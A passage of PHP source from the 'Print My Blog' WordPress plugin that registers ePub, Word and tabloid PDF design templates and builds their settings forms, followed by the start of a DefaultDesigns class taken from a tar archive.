'html_help_text' => __( 'Resizes images to be the full column width (except ones with the CSS class "mayer-no-resize")', 'print-my-blog' ),
]),
'no_extra_columns' => new YesNoInput([
'html_label_text' => __( 'Remove Extra Columns', 'print-my-blog' ),
'default' => true,
'html_help_text' => __( 'Forces your content to only use two columns, even if the content itself was divided into more columns (eg using the "Columns" block)', 'print-my-blog' ),
]),
'image' => new FormSection([
'subsections' => $this->getImageSnapInputs(),
]),
'video_qr_codes' => $this->getVideoQRCodeInput(),
],
]) )->merge( $this->getGenericDesignForm() );
$design_form->findSection( 'image_placement' )->removeOption( 'dynamic-resize' );
$design_form->findSection( 'post_content' )->setDefault( ['title', 'featured_image', 'content'] );
$design_form->removeSubsection( 'dynamic-resize' );
return $design_form;
},
'project_form_callback' => function ( Design $design ) {
$sections['byline'] = new TextInput([
'html_display_text' => __( 'Byline', 'print-my-blog' ),
'html_help_text' => __( 'Project author(s)', 'print-my-blog' ),
]);
$sections['cover_preamble'] = new TextAreaInput([
'html_label_text' => __( 'Coverpage Preamble', 'print-my-blog' ),
'html_help_text' => __( 'Explanatory text that appears at the bottom of the cover page', 'print-my-blog' ),
]);
return new FormSection([
'subsections' => $sections,
]);
},
];
} );
// it's ok to register this design even if the format isn't registered (which it isn't for the wp.org version)
pmb_register_design_template( 'classic_epub', function () {
return [
'title' => __( 'Classic ePub', 'print-my-blog' ),
'format' => 'epub',
'dir' => PMB_DESIGNS_DIR . 'epub/classic',
'url' => plugins_url( 'designs/epub/classic', PMB_MAIN_FILE ),
'default' => 'classic_epub',
'docs' => 'https://printmy.blog/user-guide/pdf-design/6-classic-epub-ebook/',
'supports' => ['front_matter', 'part', 'back_matter'],
'design_form_callback' => function () {
$form = $this->getDefaultDesignForm()->merge( $this->getGenericDesignForm() );
$form->addSubsections( [
'convert_videos' => new YesNoInput([
'html_label_text' => __( 'Convert Videos to Images and Links', 'print-my-blog' ),
'html_help_text' => __( 'Some eReaders don\'t show videos, in which case you may prefer to replace them with an image and a hyperlink to the online video content.', 'print-my-blog' ),
'default' => false,
]),
], 'generic_sections' );
$form->addSubsections( [
'fonts' => new FormSectionDetails([
'html_summary' => __( 'Font Settings', 'print-my-blog' ),
'subsections' => [
'main_header_font_size' => new TextInput([
'default' => '24pt',
'html_label_text' => __( 'Title page and Part Header Font Size', 'print-my-blog' ),
'html_help_text' => sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag, 3: opening anchor tag
__( 'Font size used for the default title page’s and part’s header (all other headers’ sizes are derived from the main font size). Use any recognized %1$sCSS font-size keyword%2$s (like "large", "medium", "small") or a %3$slength in any units%2$s (eg "14pt", "50%%", or "10px").' ),
'<a href="https://www.w3schools.com/cssref/pr_font_font-size.asp" target="_blank">',
'</a>',
'<a href="https://www.w3schools.com/cssref/css_units.asp" target="_blank">'
),
]),
'custom_header_font' => new AdminFileUploaderInput([
'default' => '',
'html_label_text' => __( 'Custom Header Font', 'print-my-blog' ),
'html_help_text' => __( 'Default font to use for headers of articles, parts, etc. Font files with extension "ttf" work with most eBook readers. Leave blank to use the default font.', 'print-my-blog' ),
]),
'font_size' => new TextInput([
'default' => '12pt',
'html_label_text' => __( 'Font Size', 'print-my-blog' ),
'html_help_text' => sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag, 3: opening anchor tag
__( 'Use any recognized %1$sCSS font-size keyword%2$s (like "large", "medium", "small") or a %3$slength in any units%2$s (eg "14pt", "50%%", or "10px").' ),
'<a href="https://www.w3schools.com/cssref/pr_font_font-size.asp" target="_blank">',
'</a>',
'<a href="https://www.w3schools.com/cssref/css_units.asp" target="_blank">'
),
]),
'custom_font' => new AdminFileUploaderInput([
'default' => '',
'html_label_text' => __( 'Custom Font', 'print-my-blog' ),
'html_help_text' => __( 'Default font used in paragraphs, lists, tables, captions, etc. Font files with extension "ttf" work with most eBook readers. Leave blank to use the default font.', 'print-my-blog' ),
]),
],
]),
], 'generic_sections', true );
return $form;
},
'project_form_callback' => function ( Design $design ) {
$project_form = $this->getDefaultProjectForm( $design );
$project_form->merge( new FormSection([
'subsections' => [
'post_name' => new TextInput([
'html_label_text' => __( 'File name', 'print-my-blog' ),
]),
'byline' => new TextAreaInput([
'html_label_text' => __( 'ByLine', 'print-my-blog' ),
'html_help_text' => __( 'Project Author(s)', 'print-my-blog' ),
]),
'post_content' => new TextAreaInput([
'html_label_text' => __( 'Description', 'print-my-blog' ),
'html_help_text' => __( 'Shown as eBook metadata.', 'print-my-blog' ),
]),
'cover' => new AdminFileUploaderInput([
'html_label_text' => __( 'Cover Image', 'print-my-blog' ),
'html_help_text' => __( 'Cover image used on eBook file (does not necessarily appear inside project). Ideal dimensions are 2,560 x 1,600 pixels.', 'print-my-blog' ),
'default' => plugins_url( 'assets/images/icon-128x128.jpg', PMB_MAIN_FILE ),
]),
],
]) );
return $project_form;
},
];
} );
// it's ok to register this design even if the format isn't registered (which it isn't for the wp.org version)
pmb_register_design_template( 'classic_word', function () {
return [
'title' => __( 'Classic Word', 'print-my-blog' ),
'format' => DefaultFileFormats::WORD,
'dir' => PMB_DESIGNS_DIR . 'word/classic',
'url' => plugins_url( 'designs/word/classic', PMB_MAIN_FILE ),
'default' => 'classic_word',
'docs' => 'https://printmy.blog/user-guide/pdf-design/7-classic-word-document/',
'supports' => ['front_matter', 'part', 'back_matter'],
'design_form_callback' => function () {
$unique_form = new FormSection([
'subsections' => [
'headers_and_footers' => new FormSectionDetails([
'html_summary' => __( 'Headers and Footers', 'print-my-blog' ),
'subsections' => [
'first_header' => new TextAreaInput([
'html_label_text' => __( 'Document Header on First Page', 'print-my-blog' ),
'html_help_text' => __( 'Content to appear in top margin area but only on the first page.', 'print-my-blog' ),
'default' => '',
]),
'header' => new TextAreaInput([
'html_label_text' => __( 'Document Header on Subsequent Pages', 'print-my-blog' ),
'html_help_text' => __( 'Content to appear in top margin area on all pages except the first page.', 'print-my-blog' ),
'default' => '',
]),
'footer' => new TextAreaInput([
'html_label_text' => __( 'Document Footer', 'print-my-blog' ),
'html_help_text' => __( 'Content to appear in bottom margin area.', 'print-my-blog' ),
'default' => '',
]),
],
]),
'convert_videos' => new YesNoInput([
'html_label_text' => __( 'Convert Videos to Images and Links', 'print-my-blog' ),
'html_help_text' => __( 'Some Word Processors don\'t show videos, in which case you may prefer to replace them with an image and a hyperlink to the online video content.', 'print-my-blog' ),
'default' => true,
]),
'image' => new FormSection([
'subsections' => [
'image_size' => new IntegerInput([
'html_label_text' => __( 'Maximum Image Height (in pixels)', 'print-my-blog' ),
'html_help_text' => sprintf( __( 'Larger images will be resized to this, smaller images will be unchanged.', 'print-my-blog' ) ),
'default' => 1000,
]),
],
]),
'internal_links' => new SelectRevealInput([
'remove' => new InputOption(__( 'Remove', 'print-my-blog' )),
'leave_external' => new InputOption(__( 'Leave as hyperlink to website', 'print-my-blog' )),
'leave' => new InputOption(__( 'Leave as hyperlink to document', 'print-my-blog' )),
], [
'default' => 'leave',
'html_label_text' => __( 'Internal Hyperlinks', 'print-my-blog' ),
'html_help_text' => __( 'How to display hyperlinks to content included in this project.', 'print-my-blog' ),
]),
'external_links' => new SelectRevealInput([
'remove' => new InputOption(__( 'Remove', 'print-my-blog' )),
'leave' => new InputOption(__( 'Leave as hyperlink', 'print-my-blog' )),
], [
'default' => 'leave',
'html_label_text' => __( 'External Hyperlinks', 'print-my-blog' ),
'html_help_text' => __( 'How to display hyperlinks to content not included in this project.', 'print-my-blog' ),
]),
],
]);
$form = $this->getDefaultDesignForm()->merge( $this->getGenericDesignForm() )->merge( $unique_form );
$form->getProperSubsection( 'generic_sections', false )->removeSubsection( 'powered_by' );
return $form;
},
'project_form_callback' => function ( Design $design ) {
$project_form = $this->getDefaultProjectForm( $design );
$project_form->merge( new FormSection([
'subsections' => [
'post_name' => new TextInput([
'html_label_text' => __( 'File name', 'print-my-blog' ),
]),
'byline' => new TextAreaInput([
'html_label_text' => __( 'ByLine', 'print-my-blog' ),
'html_help_text' => __( 'Project Author(s)', 'print-my-blog' ),
]),
],
]) );
return $project_form;
},
];
} );
pmb_register_design_template( 'haller', function () {
return [
'title' => __( 'Haller Tabloid Print PDF' ),
'format' => 'print_pdf',
'dir' => PMB_DESIGNS_DIR . 'pdf/print/haller/',
'default' => 'haller',
'docs' => 'https://printmy.blog/user-guide/pdf-design/haller-tabloid-print-ready-pdf/',
'supports' => ['front_matter', 'part', 'back_matter'],
'url' => plugins_url( 'designs/pdf/print/haller', PMB_MAIN_FILE ),
'design_form_callback' => function () {
$custom_logo_info = wp_get_attachment_image_src( get_theme_mod( 'custom_logo' ), 'full' );
if ( $custom_logo_info ) {
$custom_logo = $custom_logo_info[0];
} else {
$custom_logo = '';
}
$design_form = ( new FormSection([
'subsections' => [
'publication_logo' => new AdminFileUploaderInput([
'html_label_text' => __( 'Publication Logo Image', 'print-my-blog' ),
'default' => $custom_logo,
'html_help_text' => __( 'Logo image to show on the front page and in the header of subsequent pages. Leave blank to just use a "Title of Publication".', 'print-my-blog' ),
]),
'publication_title' => new TextInput([
'html_label_text' => __( 'Title of Publication', 'print-my-blog' ),
'html_help_text' => __( 'Shown in a large font on front page and in the top margin of every subsequent page.' ),
'default' => get_bloginfo( 'name' ),
]),
'publication_subtitle' => new TextInput([
'html_label_text' => __( 'Subtitle of Publication', 'print-my-blog' ),
'html_help_text' => __( 'Shown under the name of the publication, in a slightly smaller font.', 'print-my-blog' ),
'default' => get_bloginfo( 'description' ),
]),
'cover_preamble' => new TextInput([
'html_label_text' => __( 'Publication Preamble', 'print-my-blog' ),
'html_help_text' => __( 'Shown on the front page under the Title and Subtitle.', 'print-my-blog' ),
]),
'images_full_column' => new YesNoInput([
'html_label_text' => __( 'Full-Column Images', 'print-my-blog' ),
'html_help_text' => __( 'Resizes images to be the full column width (except ones with the CSS class "mayer-no-resize")', 'print-my-blog' ),
]),
'columns' => new SelectInput([
2 => new InputOption('2'),
3 => new InputOption('3'),
4 => new InputOption('4'),
], [
'html_label_text' => __( 'Columns', 'print-my-blog' ),
'default' => 3,
'html_help_text' => __( 'Number of columns to use for content.', 'print-my-blog' ),
]),
'post_content' => $this->getPostContentInput(),
'no_extra_columns' => new YesNoInput([
'html_label_text' => __( 'Remove Extra Columns', 'print-my-blog' ),
'default' => false,
'html_help_text' => __( 'Forces your content to only use two columns, even if the content itself was divided into more columns (eg using the "Columns" block)', 'print-my-blog' ),
]),
'page' => $this->getPageSubsection(),
'links' => $this->getLinksInputs(),
'video_qr_codes' => $this->getVideoQRCodeInput(),
],
]) )->merge( $this->getGenericDesignForm() );
return $design_form;
},
'project_form_callback' => function ( Design $design ) {
$sections = [
'date' => new TextInput([
'html_label_text' => __( 'Date', 'print-my-blog' ),
'html_help_text' => __( 'Shown on frontpage and in the top margin of all subsequent pages.', 'print-my-blog' ),
]),
'issue' => new TextInput([
'html_label_text' => __( 'Issue Number', 'print-my-blog' ),
'html_help_text' => __( 'Shown on the frontpage and in the top margin of all subsequent pages (shortcodes supported).', 'print-my-blog' ),
]),
'frontpage_left_side' => new WysiwygInput([
'html_label_text' => __( 'Frontpage Title Left Call-Out', 'print-my-blog' ),
'html_help_text' => __( 'HTML displayed to the left of the title on the frontpage (shortcodes supported).', 'print-my-blog' ),
]),
'frontpage_right_side' => new WysiwygInput([
'html_label_text' => __( 'Frontpage Title Right Call-Out', 'print-my-blog' ),
'html_help_text' => __( 'HTML displayed to the right of the title on the frontpage', 'print-my-blog' ),
]),
];
return new FormSection([
'subsections' => $sections,
]);
},
];
} );
}
/**
* @param Design $design
* @return FormSection
* @throws \Twine\forms\helpers\ImproperUsageException
*/
public function getDefaultProjectForm( Design $design ) {
$sections = [];
$header_content = $design->getSetting( 'header_content' );
if ( in_array( 'subtitle', $header_content, true ) ) {
$sections['subtitle'] = new TextInput([
'html_label_text' => __( 'Subtitle', 'print-my-blog' ),
]);
}
if ( in_array( 'byline', $header_content, true ) ) {
$sections['byline'] = new TextInput([
'html_label_text' => __( 'Byline', 'print-my-blog' ),
'html_help_text' => __( 'Project author(s)', 'print-my-blog' ),
]);
}
if ( in_array( 'url', $header_content, true ) ) {
$sections['url'] = new TextInput([
'default' => site_url(),
'html_label_text' => __( 'Source Location', 'print-my-blog' ),
'html_help_text' => __( 'Shown on the title page under the subtitle. Could be your website’s URL, or anything else you like.', 'print-my-blog' ),
]);
}
return new FormSection([
'subsections' => $sections,
]);
}
/**
* Gets the default design form sections for classic default designs.
* @return FormSection
*/
public function getDefaultDesignForm() {
return new FormSection([
'subsections' => [
'header_content' => new CheckboxMultiInput([
'title' => new InputOption(__( 'Project Title', 'print-my-blog' )),
'subtitle' => new InputOption(__( 'Subtitle', 'print-my-blog' )),
'byline' => new InputOption(__( 'Byline', 'print-my-blog' )),
'url' => new InputOption(__( 'Site URL', 'print-my-blog' )),
'date_printed' => new InputOption(__( 'Date Printed', 'print-my-blog' )),
], [
'default' => [
'title',
'subtitle',
'url',
'date_printed'
],
'html_label_text' => __( 'Title Page Content' ),
]),
'post_content' => $this->getPostContentInput(),
],
]);
}
/**
* @return CheckboxMultiInput
*/
protected function getPostContentInput() {
return new CheckboxMultiInput([
'title' => new InputOption(__( 'Post Title', 'print-my-blog' )),
'id' => new InputOption(__( 'ID', 'print-my-blog' )),
'author' => new InputOption(__( 'Author', 'print-my-blog' )),
'published_date' => new InputOption(__( 'Published Date', 'print-my-blog' )),
'categories' => new InputOption(__( 'Categories and Tags', 'print-my-blog' )),
'url' => new InputOption(__( 'URL', 'print-my-blog' )),
'featured_image' => new InputOption(__( 'Featured Image', 'print-my-blog' )),
'excerpt' => new InputOption(__( 'Excerpt', 'print-my-blog' )),
'meta' => new InputOption(__( 'Custom Fields', 'print-my-blog' )),
'content' => new InputOption(__( 'Content', 'print-my-blog' )),
], [
'default' => [
'title',
'published_date',
'categories',
'featured_image',
'content'
],
'html_label_text' => __( 'Post Content' ),
'html_help_text' => __( 'Content from each post to print.', 'print-my-blog' ),
]);
}
/**
* Gets a form specific to classic PDFs
* @return FormSection
* @throws \Twine\forms\helpers\ImproperUsageException
*/
protected function getDefaultPdfDesignForm() {
return new FormSection([
'subsections' => [
'page_per_post' => new YesNoInput([
'default' => true,
'html_label_text' => __( 'Each Post Begins on a New Page', 'print-my-blog' ),
'html_help_text' => __( 'Whether to force posts to always start on a new page. Doing so makes the page more legible, but uses more paper.', 'print-my-blog' ),
]),
'dividing_line' => new YesNoInput([
'html_label_text' => __( 'Show a Dividing Line Between Posts', 'print-my-blog' ),
]),
'fonts' => $this->getPdfFontSettings(),
'image' => new FormSectionDetails([
'html_summary' => __( 'Image & Block Settings', 'print-my-blog' ),
'subsections' => [
'image_size' => new IntegerInput([
'html_label_text' => __( 'Maximum Image Height (in pixels)', 'print-my-blog' ),
'html_help_text' => sprintf( __( 'Larger images will be resized to this, smaller images will be unchanged.', 'print-my-blog' ) ),
'default' => 500,
]),
'default_alignment' => $this->getDefaultAlignmentInput(),
],
]),
'page' => $this->getPageSubsection(),
],
]);
}
/**
* @return FormSectionDetails
* @throws \Twine\forms\helpers\ImproperUsageException
*/
public function getPageSubsection() {
return new FormSectionDetails([
'html_summary' => __( 'Page Settings', 'print-my-blog' ),
'subsections' => [
'page_width' => new TextInput([
'html_label_text' => __( 'Page Width', 'print-my-blog' ) . pmb_pro_print_service_best( __( 'Not supported by some browsers', 'print-my-blog' ) ),
'html_help_text' => sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag
__( 'Use standard %1$sCSS units%2$s', 'print-my-blog' ),
'<a href="https://www.w3schools.com/CSSref/css_units.asp">',
'</a>'
),
'default' => '8.5in',
]),
'page_height' => new TextInput([
'html_label_text' => __( 'Page Height', 'print-my-blog' ) . pmb_pro_print_service_best( __( 'Not supported by some browsers', 'print-my-blog' ) ),
'html_help_text' => sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag
__( 'Use standard %1$sCSS units%2$s', 'print-my-blog' ),
'<a href="https://www.w3schools.com/CSSref/css_units.asp">',
'</a>'
),
'default' => '11in',
]),
],
]);
}
/**
* Returns generic form inputs which should usually appear on all design forms.
* @return FormSection
*/
public function getGenericDesignForm() {
$theme = wp_get_theme();
$use_theme_help_text = sprintf(
// translators: 1: theme name.
__( 'Your theme, "%1$s", can be used in conjunction with your design. Themes are often not intended for print and can conflict with the design, but you may have content that looks broken without the theme.', 'print-my-blog' ),
$theme->name
);
$use_theme_help_text = __( 'Note: this option is only supported for the business license.', 'print-my-blog' ) . '<br>' . $use_theme_help_text;
$powered_by_in_pro_service = true;
$image_sizes = $this->image_helper->getAllImageSizes();
$image_quality_options = [
'' => new InputOption(__( 'Don’t Change Image Quality', 'print-my-blog' )),
];
foreach ( $image_sizes as $thumbnail_slug => $thumbnail_data ) {
// Only show non-cropped images because their locations are listed on the img tag's "srcset" attribute.
// Other devs may have expected loose comparisons so keep doing that.
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
if ( isset( $thumbnail_data['crop'] ) && $thumbnail_data['crop'] == true ) {
continue;
}
$dimensions = $thumbnail_data['width'];
$image_quality_options[$dimensions] = new InputOption(sprintf(
// translators: %s image dimensions, like "120x120"
__( '%s pixels wide', 'print-my-blog' ),
$dimensions
));
}
ksort( $image_quality_options );
$image_quality_options['scaled'] = new InputOption(__( 'Full Size (on web)', 'print-my-blog' ));
$image_quality_options['uploaded'] = new InputOption(__( 'Uploaded Size (largest possible)', 'print-my-blog' ));
return apply_filters( 'PrintMyBlog\\domain\\DefaultDesignTemplates->getGenericDesignForm', new FormSection([
'subsections' => [
'image' => new FormSection([
'subsections' => [
'image_quality' => new SelectInput($image_quality_options, [
'html_label_text' => __( 'Image Quality (in pixels)', 'print-my-blog' ),
'html_help_text' => sprintf(
// translators: 1: opening anchor tag, 2L closing anchor tag.
__( 'Lower quality means smaller file size, whereas higher quality means higher resolution images. Note: if images are missing from the generated PDF, the requested image size might not be available. Use the %1$s Regenerate Thumbnails plugin%2$s to create the missing image sizes.', 'print-my-blog' ),
'<a href="https://wordpress.org/plugins/regenerate-thumbnails/">',
'</a>'
),
'default' => '',
]),
],
]),
'generic_sections' => new FormSection([
'subsections' => apply_filters( 'PrintMyBlog\\domain\\DefaultDesignTemplates->getGenericDesignFormSections', [
'use_theme' => new YesNoInput([
'html_label_text' => __( 'Apply Website Theme', 'print-my-blog' ),
'html_help_text' => $use_theme_help_text,
'default' => false,
]),
'custom_css' => new TextAreaInput([
'html_label_text' => __( 'Custom CSS', 'print-my-blog' ),
'html_help_text' => __( 'Styles to be applied only when printing projects using this design.', 'print-my-blog' ),
]),
'powered_by' => new YesNoInput([
'html_label_text' => __( 'Add "Powered By"', 'print-my-blog' ) . (( $powered_by_in_pro_service ? pmb_hover_help( __( 'In compliance with WordPress.org guidelines, not added when printing from your browser.', 'print-my-blog' ) ) : '' )),
'html_help_text' => __( 'Instructs the Pro PDF Service to add "Powered by Print My Blog Pro & WordPress" to your project. Does not appear when printing using your browser.', 'print-my-blog' ),
'default' => $powered_by_in_pro_service,
'disabled' => $powered_by_in_pro_service,
]),
] ),
]),
],
]) );
}
/**
* @return TextInput
*/
public function getPageReferenceTextInput() {
return new TextInput([
'html_label_text' => __( 'Page Reference Text', 'print-my-blog' ),
'html_help_text' => __( 'Text to use when replacing a hyperlink with a page reference. "%s" will be replaced with the page number.', 'print-my-blog' ),
'default' => __( '(see page %s)', 'print-my-blog' ),
'validation_strategies' => [
// translators: %s literally the string %s.
new TextValidation(__( 'You must include "%s" in the page reference text so we know where to put the page number.', 'print-my-blog' ), '~.*\\%s.*~'),
],
]);
}
/**
* @return TextInput
*/
public function getInternalFootnoteTextInput() {
return new TextInput([
'html_label_text' => __( 'Internal Footnote Text', 'print-my-blog' ),
'html_help_text' => __( 'Text to use when replacing a hyperlink with a footnote. "%s" will be replaced with the page number.', 'print-my-blog' ),
'default' => __( 'See page %s.', 'print-my-blog' ),
'validation_strategies' => [
// translators: %s literally the string %s.
new TextValidation(__( 'You must include "%s" in the footnote text so we know where to put the URL.', 'print-my-blog' ), '~.*\\%s.*~'),
],
]);
}
/**
* @return TextInput
*/
public function getExternalFootnoteTextInput() {
return new TextInput([
'html_label_text' => __( 'External Footnote Text', 'print-my-blog' ),
'html_help_text' => __( 'Text to use when replacing a hyperlink with a footnote. "%s" will be replaced with the URL', 'print-my-blog' ),
'default' => __( 'See %s.', 'print-my-blog' ),
'validation_strategies' => [
// translators: %s literally the string %s.
new TextValidation(__( 'You must include "%s" in the footnote text so we know where to put the URL.', 'print-my-blog' ), '~.*\\%s.*~'),
],
]);
}
/**
* @return SelectInput
*/
public function getDefaultAlignmentInput() {
return new SelectInput([
'none' => new InputOption(__( 'None', 'print-my-blog' )),
'center' => new InputOption(__( 'Center', 'print-my-blog' )),
], [
'html_label_text' => __( 'Default Image Alignment', 'print-my-blog' ),
'html_help_text' => __( 'Images normally default to "no alignment", which can look jumbled in printouts. Usually it’s best to automatically switch those to align to the center.', 'print-my-blog' ),
'default' => 'center',
]);
}
/**
* @return SelectRevealInput
*/
public function getImageSnapInput() {
return new SelectRevealInput([
'default' => new InputOption(__( 'Don’t move', 'print-my-blog' )),
'snap' => new InputOption(__( 'Snap to the top or bottom of the page', 'print-my-blog' )),
'snap-unless-fit' => new InputOption(__( 'Only snap if it would otherwise cause a page break', 'print-my-blog' )),
'dynamic-resize' => new InputOption(__( 'Resize images if they don’t fit on the page' )),
], [
'html_label_text' => __( 'Image and Block Placement', 'print-my-blog' ) . pmb_pro_print_service_only( __( 'Image snapping and dynamic resizing only works using the Pro PDF Service.', 'print-my-blog' ) ),
'html_help_text' => __( 'To reduce whitespace around images, galleries, and tables, Print My Blog can adjust the placement of your content, or resize it according to the space on the page.', 'print-my-blog' ),
'default' => 'snap-unless-fit',
]);
}
/**
* Gets the image placement input and its sister dynamic-resize input (which gets revealed when choosing to resize images)
* @return FormInputBase[]
*/
protected function getImageSnapInputs() {
return [
'image_placement' => $this->getImageSnapInput(),
'dynamic-resize' => new FormSection([
'subsections' => [
'dynamic_resize_min' => new TextInput([
'html_label_text' => __( 'Minimum Image Size (in pixels)', 'print-my-blog' ),
'html_help_text' => __( 'Any images larger than this may be resized to fit onto the page, but they will be no smaller than this size.', 'print-my-blog' ),
'default' => '300',
]),
],
]),
];
}
/**
* Gets a form section regarding how to handle links, footnotes, page refs, etc.
* @return FormSectionDetails
* @throws \Freemius_Exception
* @throws \Twine\forms\helpers\ImproperUsageException
*/
public function getLinksInputs() {
return new FormSectionDetails([
'html_summary' => __( 'Link, Page Reference, and Footnote Settings', 'print-my-blog' ),
'subsections' => [
'internal' => new FormSection([
'subsections' => [
'internal_links' => new SelectRevealInput([
'remove' => new InputOption(__( 'Remove', 'print-my-blog' )),
'leave' => new InputOption(__( 'Leave as hyperlink', 'print-my-blog' )),
'parens' => new InputOption(__( 'Replace with page reference', 'print-my-blog' )),
'footnote' => new InputOption(__( 'Replace with footnote', 'print-my-blog' )),
], [
'default' => ( pmb_fs()->is_premium() ? 'parens' : 'remove' ),
'html_label_text' => __( 'Internal Hyperlinks', 'print-my-blog' ) . pmb_pro_print_service_best( __( 'Footnotes and page references only work with Pro PDF Service', 'print-my-blog' ) ),
'html_help_text' => __( 'How to display hyperlinks to content included in this project.', 'print-my-blog' ),
]),
'parens' => new FormSection([
'subsections' => [
'page_reference_text' => $this->getPageReferenceTextInput(),
],
]),
'footnote' => new FormSection([
'subsections' => [
'internal_footnote_text' => $this->getInternalFootnoteTextInput(),
],
]),
],
]),
'external' => new FormSection([
'subsections' => [
'external_links' => new SelectRevealInput([
'remove' => new InputOption(__( 'Remove', 'print-my-blog' )),
'leave' => new InputOption(__( 'Leave as hyperlink', 'print-my-blog' )),
'footnote' => new InputOption(__( 'Replace with footnote', 'print-my-blog' )),
], [
'default' => ( pmb_fs()->is_premium() ? 'footnote' : 'leave' ),
'html_label_text' => __( 'External Hyperlinks', 'print-my-blog' ) . pmb_pro_print_service_best( __( 'Footnotes require Pro', 'print-my-blog' ) ),
'html_help_text' => __( 'How to display hyperlinks to content not included in this project.', 'print-my-blog' ),
]),
'footnote' => new FormSection([
'subsections' => [
'footnote_text' => $this->getExternalFootnoteTextInput(),
],
]),
],
]),
],
]);
}
/**
* Gets the input that control displaying qr codes on videos.
* @return YesNoInput
*/
public function getVideoQRCodeInput() {
return new YesNoInput([
'default' => true,
'html_label_text' => __( 'Add QR Code to Videos', 'print-my-blog' ),
'html_help_text' => __( 'After a video is converted into a screenshot and URL, you can optionally add a QR code that readers can scan with their phones to view the video.', 'print-my-blog' ),
]);
}
/**
* @return FormSectionDetails
* @throws \Twine\forms\helpers\ImproperUsageException
*/
public function getPdfFontSettings() {
return new FormSectionDetails([
'html_summary' => __( 'Font Settings', 'print-my-blog' ),
'subsections' => [
'main_header_font_size' => new TextInput([
'default' => '4em',
'html_label_text' => __( 'Title page and Part Header Font Size', 'print-my-blog' ),
'html_help_text' => sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag, 3: opening anchor tag
__( 'Font size used for the default title page’s and part’s header (all other headers’ sizes are derived from the main font size). Use any recognized %1$sCSS font-size keyword%2$s (like "large", "medium", "small") or a %3$slength in any units%2$s (eg "14pt", "50%%", or "10px").' ),
'<a href="https://www.w3schools.com/cssref/pr_font_font-size.asp" target="_blank">',
'</a>',
'<a href="https://www.w3schools.com/cssref/css_units.asp" target="_blank">'
),
]),
'header_font_style' => new SelectRevealInput([
'arial' => new InputOption(__( 'Arial', 'print-my-blog' )),
'courier new' => new InputOption(__( 'Courier New', 'print-my-blog' )),
'georgia' => new InputOption(__( 'Georgia', 'print-my-blog' )),
'impact' => new InputOption(__( 'Impact', 'print-my-blog' )),
'lucida console' => new InputOption(__( 'Lucida Console', 'print-my-blog' )),
'palatino linotype' => new InputOption(__( 'Palatino Linotype', 'print-my-blog' )),
'tahoma' => new InputOption(__( 'Tahoma', 'print-my-blog' )),
'times new roman' => new InputOption(__( 'Times New Roman', 'print-my-blog' )),
'verdana' => new InputOption(__( 'Verdana', 'print-my-blog' )),
'custom_header_font' => new InputOption(__( 'Custom Font...', 'print-my-blog' )),
], [
'default' => 'arial',
'html_label_text' => __( 'Header Font', 'print-my-blog' ),
'html_help_text' => __( 'Default font for header tags', 'print-my-blog' ),
]),
'custom_header_font' => new FormSection([
'subsections' => [
'custom_header_font_style' => new AdminFileUploaderInput([
'default' => '',
'html_label_text' => __( 'Custom Header Font', 'print-my-blog' ),
'html_help_text' => __( 'Specify the URL of a custom font file, or upload one. The formats "wff" and "wff2" work best, but "ttf" and "otf" also work.', 'print-my-blog' ),
]),
],
]),
'font_size' => new TextInput([
'default' => '10pt',
'html_label_text' => __( 'Font Size', 'print-my-blog' ),
'html_help_text' => sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag, 3: opening anchor tag
__( 'Use any recognized %1$sCSS font-size keyword%2$s (like "large", "medium", "small") or a %3$slength in any units%2$s (eg "14pt", "50%%", or "10px").' ),
'<a href="https://www.w3schools.com/cssref/pr_font_font-size.asp" target="_blank">',
'</a>',
'<a href="https://www.w3schools.com/cssref/css_units.asp" target="_blank">'
),
]),
'font_style' => new SelectRevealInput([
'arial' => new InputOption(__( 'Arial', 'print-my-blog' )),
'courier new' => new InputOption(__( 'Courier New', 'print-my-blog' )),
'georgia' => new InputOption(__( 'Georgia', 'print-my-blog' )),
'impact' => new InputOption(__( 'Impact', 'print-my-blog' )),
'lucida console' => new InputOption(__( 'Lucida Console', 'print-my-blog' )),
'palatino linotype' => new InputOption(__( 'Palatino Linotype', 'print-my-blog' )),
'tahoma' => new InputOption(__( 'Tahoma', 'print-my-blog' )),
'times new roman' => new InputOption(__( 'Times New Roman', 'print-my-blog' )),
'verdana' => new InputOption(__( 'Verdana', 'print-my-blog' )),
'custom_font' => new InputOption(__( 'Custom Font...', 'print-my-blog' )),
], [
'default' => 'times new roman',
'html_label_text' => __( 'Font', 'print-my-blog' ),
'html_help_text' => __( 'Default font used in paragraphs, bulleted lists, tables, etc.' ),
]),
'custom_font' => new FormSection([
'subsections' => [
'custom_font_style' => new AdminFileUploaderInput([
'default' => '',
'html_label_text' => __( 'Custom Font', 'print-my-blog' ),
'html_help_text' => __( 'Specify the URL of a custom font file, or upload one. The formats "wff" and "wff2" work best, but "ttf" and "otf" also work.', 'print-my-blog' ),
]),
],
]),
],
]);
}
}
PrintMyBlog/domain/DefaultDesigns.php 0000644 00000043717 14666776752 0013701 0 ustar 00 <?php
namespace PrintMyBlog\domain;
use PrintMyBlog\entities\DesignTemplate;
use WP_User;
/**
* Class DefaultDesigns
* @package PrintMyBlog\domain
*/
class DefaultDesigns
{
/**
* Registers designs.
*/
public function registerDefaultDesigns()
{
pmb_register_design(
'classic_digital',
'classic_digital',
function (DesignTemplate $design_template) {
return [
'title' => __('Classic Digital PDF', 'print-my-blog'),
'quick_description' => esc_html__('A simple but flexible design intended mainly for reading from screens, inspired by Print My Blog Quick Print.', 'print-my-blog'),
'description' => pmb_get_contents($design_template->getDir() . 'description.php'),
'author' => [
'name' => 'Mike Nelson',
'url' => 'https://printmy.blog',
],
'previews' => [
[
'url' => $design_template->getUrl() . 'assets/preview1.jpg',
'desc' => __('Title page, with working hyperlinks.', 'print-my-blog'),
],
[
'url' => $design_template->getUrl() . 'assets/preview2.jpg',
'desc' => __('Main matter, showing hyperlinks and large images.', 'print-my-blog'),
],
],
'design_defaults' => [
'use_title' => true,
'image_size' => 800,
'font_style' => 'times',
'header_font_style' => 'arial',
],
'project_defaults' => [
'title' => get_bloginfo('name'),
],
];
}
);
pmb_register_design(
'classic_print',
'editorial_review',
function (DesignTemplate $design_template) {
$preview_folder_url = PMB_ASSETS_URL . '/images/design_previews/pdf/print/edit/';
return [
